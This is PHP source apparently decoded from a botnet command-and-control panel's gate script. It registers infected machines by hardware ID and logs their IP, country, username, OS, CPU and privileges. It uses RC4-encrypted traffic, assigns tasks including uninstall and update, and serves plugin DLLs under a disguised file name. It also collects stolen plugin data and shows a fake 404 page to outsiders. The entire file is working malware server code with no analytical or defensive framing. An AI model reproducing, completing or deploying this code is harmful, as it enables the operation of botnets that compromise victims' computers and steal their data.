PHP Decode

<?php  
$initialized = true; 
$time = time(); 
$pub = "-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAqoHu9Hog7SpTlP2ooWiW
OxhfMR6rHeB9ZhxjlOxJHuv9tsm8qmeSbmyv7qHchN7eW8cf580a7nWldY5NHy8e
B7AyPbrDvBvtBXdrRr1mDWXvCSu5N/SibDNKS7Nfyf0J7mSfbpDGHhjIUmQ8lxX3
aTFDP7ONPckXxvfqKFea8svh38hDphxcA0UnU1jsSXPMxe3JZ0ShshLI/jhyfHef
rkOwQelhcc2oRqKJ2f89Ksu/M3LXOuQJTT/tntKgNESQRqx+I95rRBOK5c2G/18C
1RCkPI+GZ/ymXlOfTZ0Jw93jSk0IL4EwPjawWr3cmKTL6Z18u64tL/+JIDUA9vMX
5DpL4nV/1vZXA+t0wQKnYlha/Hs0FrbzNIBABr3IINPLfilsR0jMaTDJSNxLuyvs
4VabeGbqApnU8+4PvLr0IjlRHCaa81qwIQnMIbJvDmGdTLJSEceFjSp63NOCsIjw
gKE9PnkXceFIIp235xOfS2wkuKwbbAda2ymkELScsXUAtHFKwO3rpyh2Wsx2q/q+
wM5DCRw0QhWdxsvseozGib/v3yI2ROMhBtAlGFrmxDijKPSEgIhE+UCf+YWpYQ+W
qqeRoraqse2K/ypZ+43VZsfNC9LFviWpNk+f3Vb9dPZYBswznD9ZEVc7KuvObpYL
tq+vp4N+MKtIyGrntFCP/r8CAwEAAQ==
-----END PUBLIC KEY-----"; 
define("ACTION", "aaa"); 
define("HWID", "bbb"); 
define("USER", "ccc"); 
define("OS", "ddd"); 
define("CPU", "eee"); 
define("USER_PRIVILEGES", "fff"); 
define("PLUGIN_GUID", "ggg"); 
define("PLUGIN_DATA", "hhh"); 
define("ACTION_SIGN", "0"); 
define("ACTION_GET_PLUGIN", "1"); 
define("ACTION_SEND_PLUGIN_DATA", "2"); 
define("TASKS", "iii"); 
define("SETTINGS", "jjj"); 
define("PLUGINS", "kkk"); 
define("KNOCK_INTERVAL", "ooo"); 
define("CACHE_PLUGINS", "ppp"); 
define("TASK", "rrr"); 
define("PARAMETER", "sss"); 
define("PENDING", "ttt"); 
define("MASK", "uuu"); 
require("include/defines.php"); 
require("include/internal.php"); 
include_once("include/RC4.php"); 
include_once("include/functions.php"); 
include_once("include/settings.php"); 
include_once("include/HTTP.php"); 
include_once("include/tasks.php"); 
if( $_SERVER["REQUEST_METHOD"] == "POST" && !empty($_POST) && empty($_SESSION["parasite"]) )  
{ 
    $ValidActivationCode = false; 
    $Post_data = filter_input_array(INPUT_POST); 
    $decoded = NULL; 
    foreach( $Post_data as $param_name => $param_val )  
    { 
        $decoded = json_decode(rc4(KEY_1, Base64UrlDecode($param_val)), true); 
        if( isset($decoded[HWID]) )  
        { 
            if( strlen($decoded[HWID]))  
            { 
                $GLOBALS["response_key"] = strtoupper(md5($decoded[HWID])); 
                break; 
            } 
 
            $decoded = NULL; 
        } 
 
    } 
 
	$ValidActivationCode = true; 
 
 
    if( $decoded && isset($decoded[ACTION]) && isset($GLOBALS["response_key"]) )  
    { 
        if( !strlen($decoded[HWID]) || !strlen($decoded[USER]) || !strlen($decoded[CPU]) || !strlen($decoded[OS]) || !strlen($decoded[USER_PRIVILEGES]) )  
        { 
        } 
 
        if( $decoded[ACTION] == ACTION_SIGN )  
        { 
            $ip = GetIPAddress(); 
            $countrycode = GetIPLocation($ip, $db); 
            $hwid = $decoded[HWID]; 
            $username = base64_decode($decoded[USER]); 
            $cpu = $decoded[CPU]; 
            $os = $decoded[OS]; 
            $user_privileges = $decoded[USER_PRIVILEGES]; 
            $query = "SELECT * FROM clients WHERE hwid = :hwid LIMIT 1"; 
            $query_params = array( ":hwid" => $hwid ); 
            try 
            { 
                $stmt = $db->prepare($query); 
                $result = $stmt->execute($query_params); 
            } 
            catch( PDOException $ex )  
            { 
                DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
            } 
            $row_client = $stmt->fetch(); 
            $plugins = array(  ); 
            $settings = NULL; 
            $task = NULL; 
            if( $row_client )  
            { 
                $query = "UPDATE clients SET 
					ip = :ip, 
					cc = :cc, 
					status = :status,
					last_check = :last_check
					WHERE hwid = :hwid"; 
                $query_params = array( ":ip" => $ip, ":cc" => $countrycode, ":status" => STATUS_ONLINE, ":last_check" => $time, ":hwid" => $hwid ); 
                try 
                { 
                    $stmt = $db->prepare($query); 
                    $result = $stmt->execute($query_params); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
                if( $ValidActivationCode )  
                { 
                    $task = GetLatestTask($db, $hwid, $row_client["install_date"]); 
                } 
                else 
                { 
                    $task = array( TASK => 0, PARAMETER => base64_encode(""), PENDING => 0, MASK => "0" ); 
                } 
 
            } 
            else 
            { 
                if( !$g_disable_gates )  
                { 
                    $query = "INSERT INTO clients ( 
								hwid, 
								ip, 
								cc,
								user,
								os,
								cpu,
								install_date,
								user_privileges,
								status,
								last_check
							) VALUES ( 
								:hwid, 
								:ip, 
								:cc,
								:user,
								:os,
								:cpu,
								:install_date,
								:user_privileges,
								:status,
								:last_check
							)"; 
                    $query_params = array( ":hwid" => $hwid, ":ip" => $ip, ":cc" => $countrycode, ":user" => $username, ":os" => $os, ":cpu" => $cpu, ":install_date" => $time, ":user_privileges" => $user_privileges, ":status" => STATUS_ONLINE, ":last_check" => $time ); 
                    try 
                    { 
                        $stmt = $db->prepare($query); 
                        $stmt->execute($query_params); 
                    } 
                    catch( PDOException $ex )  
                    { 
                        DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                    } 
                    if( $ValidActivationCode )  
                    { 
                        $task = GetLatestTask($db, $hwid, $time); 
                    } 
                    else 
                    { 
                        $task = array( TASK => 0, PARAMETER => base64_encode(""), PENDING => 0, MASK => "0" ); 
                    } 
 
                } 
                else 
                { 
                    include("pages/404.php"); 
                } 
 
            } 
 
            if( $task[TASK] == TASK_UNINSTALL || $task[TASK] == TASK_UPDATE )  
            { 
                $query = "DELETE FROM clients WHERE hwid = :hwid"; 
                $query_params = array( ":hwid" => $hwid ); 
                try 
                { 
                    $stmt = $db->prepare($query); 
                    $stmt->execute($query_params); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
            } 
            else 
            { 
                $query_plugins = "SELECT * FROM plugins"; 
                try 
                { 
                    $stmt = $db->prepare($query_plugins); 
                    $stmt->execute(); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
                $rows_plugin = $stmt->fetchAll(); 
                foreach( $rows_plugin as $row_plugin )  
                { 
                    if( $row_plugin["has_dll"] == true && $ValidActivationCode )  
                    { 
                        array_push($plugins, $row_plugin["guid"]); 
                    } 
 
                } 
            } 
 
            $settings = array( KNOCK_INTERVAL => intval($g_knock_interval), CACHE_PLUGINS => intval($g_cache_plugins) ); 
            $Response = array( TASKS => $task, SETTINGS => $settings, PLUGINS => $plugins ); 
            SendResponse(json_encode($Response)); 
        } 
        else 
        { 
            if( $decoded[ACTION] == ACTION_GET_PLUGIN )  
            { 
                $query = "SELECT * FROM clients WHERE hwid = :hwid LIMIT 1"; 
                $query_params = array( ":hwid" => $decoded[HWID] ); 
                try 
                { 
                    $stmt = $db->prepare($query); 
                    $result = $stmt->execute($query_params); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
                $row_client = $stmt->fetch(); 
                if( $row_client )  
                { 
                    $file = "plugins/" . $decoded[PLUGIN_GUID] . "/PluginBase.dll"; 
                    if( file_exists($file) )  
                    { 
                        header("Content-Description: File Transfer"); 
                        header("Content-Type: application/octet-stream"); 
                        header("Content-Disposition: attachment; filename=\"plugin.dat\""); 
                        header("Expires: 0"); 
                        header("Cache-Control: no-cache"); 
                        header("Content-Length: " . filesize($file)); 
                        readfile($file); 
                        exit(); 
                    } 
 
                    include("pages/404.php"); 
                } 
 
            } 
            else 
            { 
                if( $decoded[ACTION] == ACTION_SEND_PLUGIN_DATA )  
                { 
                    $query = "SELECT * FROM clients WHERE hwid = :hwid LIMIT 1"; 
                    $query_params = array( ":hwid" => $decoded[HWID] ); 
                    try 
                    { 
                        $stmt = $db->prepare($query); 
                        $result = $stmt->execute($query_params); 
                    } 
                    catch( PDOException $ex )  
                    { 
                        DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                    } 
                    $row_client = $stmt->fetch(); 
                    if( $row_client )  
                    { 
                        if( $ValidActivationCode )  
                        { 
                            $plugin = "plugins/" . $decoded[PLUGIN_GUID] . "/gate.php"; 
                        } 
 
                        if( isset($plugin) && file_exists($plugin) )  
                        { 
                            if( isset($decoded[PLUGIN_DATA]) )  
                            { 
                                parse_str(base64_decode($decoded[PLUGIN_DATA]), $_POST); 
                                if( !isset($_POST["hwid"]) )  
                                { 
                                    $_POST["hwid"] = $decoded[HWID]; 
                                } 
 
                            } 
 
                            include($plugin); 
                        } 
                        else 
                        { 
                            include("pages/404.php"); 
                        } 
 
                    } 
 
                } 
                else 
                { 
                    include("pages/404.php"); 
                } 
 
            } 
 
        } 
 
    } 
    else 
    { 
        include("pages/404.php"); 
    } 
 
} 
else 
{ 
    if( !empty($_SESSION["parasite"]) )  
    { 
        if( $g_last_updated < $time - 60 )  
        { 
            $query_online = "SELECT * FROM clients WHERE status = '" . STATUS_ONLINE . "' AND last_check < :last_check"; 
            $query_online_params = array( ":last_check" => $time - $g_offline_interval * 60 ); 
            try 
            { 
                $stmt = $db->prepare($query_online); 
                $stmt->execute($query_online_params); 
            } 
            catch( PDOException $ex )  
            { 
                DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
            } 
            $rows_offline = $stmt->fetchAll(); 
            foreach( $rows_offline as $row_offline )  
            { 
                $query_offline = "UPDATE clients SET status = '" . STATUS_OFFLINE . "' WHERE hwid = :hwid"; 
                $query_offline_params = array( ":hwid" => $row_offline["hwid"] ); 
                try 
                { 
                    $stmt = $db->prepare($query_offline); 
                    $stmt->execute($query_offline_params); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
            } 
            $query_offline = "SELECT * FROM clients WHERE status = '" . STATUS_OFFLINE . "' AND last_check < :last_check"; 
            $query_offine_params = array( ":last_check" => $time - $g_dead_interval * 3600 * 24 ); 
            try 
            { 
                $stmt = $db->prepare($query_offline); 
                $stmt->execute($query_offine_params); 
            } 
            catch( PDOException $ex )  
            { 
                DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
            } 
            $rows_dead = $stmt->fetchAll(); 
            foreach( $rows_dead as $row_dead )  
            { 
                $query_dead = "UPDATE clients SET status = '" . STATUS_DEAD . "' WHERE hwid = :hwid"; 
                $query_dead_params = array( ":hwid" => $row_dead["hwid"] ); 
                try 
                { 
                    $stmt = $db->prepare($query_dead); 
                    $stmt->execute($query_dead_params); 
                } 
                catch( PDOException $ex )  
                { 
                    DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
                } 
            } 
            $query_last_cleanup = "UPDATE settings SET settings_updated = :settings_updated WHERE id = 1"; 
            $query_last_cleanup_params = array( ":settings_updated" => $time ); 
            try 
            { 
                $stmt = $db->prepare($query_last_cleanup); 
                $stmt->execute($query_last_cleanup_params); 
            } 
            catch( PDOException $ex )  
            { 
                DEBUG_PRINT("Failed to run query: " . $ex->getMessage()); 
            } 
        } 
 
        include("pages/base.php"); 
    } 
    else 
    { 
        include("pages/404.php"); 
    } 
 
} 
?>